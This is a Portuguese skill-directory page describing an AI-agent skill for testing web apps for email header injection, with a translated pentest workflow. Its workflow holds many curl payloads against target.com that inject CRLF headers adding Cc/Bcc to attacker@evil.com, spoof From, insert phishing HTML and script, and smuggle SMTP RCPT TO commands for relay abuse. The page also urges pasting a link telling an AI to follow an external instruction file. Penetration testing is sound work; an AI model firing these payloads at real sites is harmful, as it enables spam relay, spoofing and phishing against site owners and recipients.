Pular para o conteúdo
Skillpedia
Testes35 mil · #6221

testing-for-email-header-injection

Ensina seu agente de IA a testar o código e achar erros antes dos usuários e cuidar de mensagens e atendimento.

O que ela faz

Esta ferramenta verifica se um site pode ser usado para enviar e-mails indesejados ou falsos. Ela testa formulários de contato, recuperação de senha e assinaturas de newsletter para ver se um invasor pode adicionar destinatários extras, modificar quem enviou o e-mail ou abusar do sistema para enviar spam.

Quando usar

  • ✓Ao testar formulários de contato ou de feedback.
  • ✓Ao verificar a função de recuperação de senha por e-mail.
  • ✓Ao testar sistemas de assinatura de newsletter.

Exemplo do que pedir para a IA

“Verifique se o formulário de contato do site permite que eu adicione um destinatário 'Cópia Oculta' (BCC) para enviar spam.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-email-header-injection/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-email-header-injection/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta inserir caracteres especiais nos campos de e-mail do site. Se o site não limpar esses caracteres, ele pode ser enganado para adicionar cabeçalhos de e-mail extras, como destinatários ocultos ou remetentes falsos.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-email-header-injection

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-email-header-injection/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Injeção de Cabeçalho de E-mail

Quando Usar

  • Ao testar formulários de contato, formulários de feedback ou funcionalidades de "enviar para um amigo"
  • Durante a avaliação da funcionalidade de e-mail de redefinição de senha
  • Ao testar sistemas de assinatura de newsletter ou e-mails de notificação
  • Durante testes de penetração de aplicações que enviam e-mails com base na entrada do usuário
  • Ao auditar endpoints de API relacionados a e-mail para injeção de cabeçalho

Pré-requisitos

  • Burp Suite para interceptar e modificar requisições HTTP
  • Compreensão do protocolo SMTP e da estrutura de cabeçalho de e-mail
  • Conhecimento de técnicas de injeção CRLF (sequências \r\n)
  • Contas de e-mail de teste para receber e-mails injetados
  • Acesso a funcionalidades da aplicação que disparam o envio de e-mails
  • Acesso aos logs do servidor SMTP para monitorar tentativas de injeção

Fluxo de Trabalho

Passo 1 — Identificar Pontos de Injeção de E-mail

# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello&message=Test message"

Passo 2 — Testar Injeção de Cabeçalho CRLF

# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"

# Inject via subject field
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"

# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0D%0ACc:attacker@evil.com"

# %0A (LF only)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ACc:attacker@evil.com"

# %0D (CR only)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0DCc:attacker@evil.com"

# Double encoding
curl -X POST http://target.com/contact \
  -d "email=test@test.com%250ACc:attacker@evil.com"

Passo 3 — Injetar Conteúdo Personalizado de E-mail

# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# Inject additional MIME parts
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# Override From header for email spoofing
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AFrom:ceo@target.com"

# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AReply-To:attacker@evil.com"

Passo 4 — Testar Injeção IMAP/SMTP

# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP command injection
curl -X POST http://target.com/api/send \
  -d "to=test@test.com%0ARCPT TO:attacker@evil.com"

# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
  -d "email=test@test.com%0AVRFY admin"

# Test SMTP relay abuse
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"

Passo 5 — Testar APIs de E-mail Baseadas em JSON

# Injeção de cabeçalho em API JSON
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'

# Injeção de array para múltiplos destinatários
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'

# Injeção de template no corpo do e-mail
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \

…
Perguntas frequentes

O que é injeção de cabeçalho de e-mail?

É quando um invasor insere comandos extras nos campos de e-mail de um site para controlar como o e-mail é enviado, como adicionar mais destinatários ou mudar o remetente.

Por que é importante testar isso?

Sites vulneráveis podem ser usados para enviar spam, phishing ou e-mails falsos, prejudicando a reputação do site e dos seus usuários.

Quais ferramentas são necessárias?

Geralmente, são usadas ferramentas como Burp Suite ou OWASP ZAP para interceptar e modificar as requisições que o site faz ao enviar e-mails.

Detalhes

Descrição original do autor

Tests web application email functionality (contact forms, password reset, newsletter subscriptions) for CRLF/SMTP header injection using Burp Suite and OWASP ZAP, checking whether attackers can inject headers, modify recipients, or abuse forms for spam relay. Use when testing any user-input-driven email-sending feature during a penetration test.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6221
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas